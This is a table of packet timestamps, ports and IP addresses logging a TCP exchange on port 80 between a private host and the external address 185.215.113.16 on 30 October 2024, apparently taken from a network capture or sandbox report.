Oct 30, 2024 12:36:33.152527094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152553082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.152560949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152595043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152606010 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.152632952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152667046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152668953 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.152700901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152734995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152750015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.152769089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152802944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152805090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.152836084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152872086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152884960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.152906895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152940989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.152955055 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.152973890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153008938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153024912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.153042078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153076887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153107882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.153130054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153163910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153178930 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.153198004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153234005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153255939 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.153268099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153301954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153312922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.153336048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153377056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153383017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.153410912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153444052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153450012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.153476954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153510094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153521061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.153544903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153578997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153587103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.153614044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153649092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153659105 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.153688908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153729916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.153740883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153775930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153809071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153824091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.153844118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153878927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153888941 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.153915882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153949976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.153959036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.153984070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154019117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154027939 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.154052973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154086113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154108047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.154122114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154155970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154177904 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.154190063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154227018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154237986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.154261112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154294968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154314041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.154328108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154372931 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.154378891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154413939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154448032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154459953 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.154484034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154517889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154532909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.154551029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154597998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154611111 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.154634953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154670000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154680014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.154704094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154736996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154766083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.154772997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154807091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154814959 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.154840946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154876947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154891014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.154911041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154946089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.154958963 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.154982090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.155014038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.155028105 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.155047894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.155083895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.155090094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.155119896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.155154943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.155174971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.155188084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.155222893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.155250072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.155256987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.155291080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.155303001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.155353069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.155386925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.155399084 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.155421972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.155457973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.155476093 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.204128981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.254241943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.259766102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.259828091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.259865046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.259870052 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.263828039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.270657063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.270713091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.270716906 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.270749092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.270828009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.270836115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.270889997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.270922899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.270931959 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.270966053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271012068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.271033049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271064997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271099091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271107912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.271133900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271168947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271188974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.271202087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271234989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271238089 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.271269083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271305084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271311045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.271358013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271390915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271410942 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.271425009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271457911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271466017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.271493912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271527052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271541119 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.271560907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271610022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.271703005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271752119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271785021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271799088 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.271820068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271855116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271886110 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.271888018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271920919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271929979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.271955013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271989107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.271998882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.272022963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272056103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272070885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.272090912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272123098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272136927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.272156000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272190094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272207975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.272223949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272258997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272267103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.272294044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272326946 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.272327900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272361040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272394896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272407055 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.272430897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272485018 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.272500992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272533894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272567034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272593975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.272618055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272650003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272672892 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.272682905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272716999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272733927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.272752047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272784948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272799015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.272818089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272851944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272875071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.272886038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272919893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272932053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.272954941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272989988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.272999048 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.273022890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273056984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273062944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.273092031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273127079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273155928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.273159981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273192883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273201942 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.273227930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273263931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273267031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.273297071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273329973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273344040 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.273363113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273396969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273411036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.273499966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273533106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273555994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.273567915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273669958 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.273670912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273705959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273740053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273755074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.273773909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273806095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273813009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.273839951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273874998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273876905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.273909092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273942947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.273947001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.273977041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274009943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274019957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.274044991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274079084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274095058 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.274116993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274148941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274158001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.274182081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274214983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274220943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.274249077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274283886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274293900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.274317980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274355888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274358034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.274389029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274422884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274429083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.274457932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274492025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274516106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.274524927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274559021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274570942 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.274593115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274626017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274637938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.274660110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274693966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274698973 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.274728060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274761915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274769068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.274796009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274827957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274833918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.274862051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274895906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274908066 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.274930954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274964094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.274975061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.274998903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275033951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275039911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.275068998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275100946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275116920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.275134087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275168896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275177956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.275202990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275235891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275250912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.275270939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275304079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275316000 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.275356054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275399923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.275429010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275463104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275496006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275502920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.275547981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275580883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275590897 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.275615931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275649071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275656939 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.275681973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275721073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275722980 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.275755882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275789022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275810957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.275823116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275856972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275865078 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.275890112 CET	80	49744	185.215.113.16	192.168.2.4
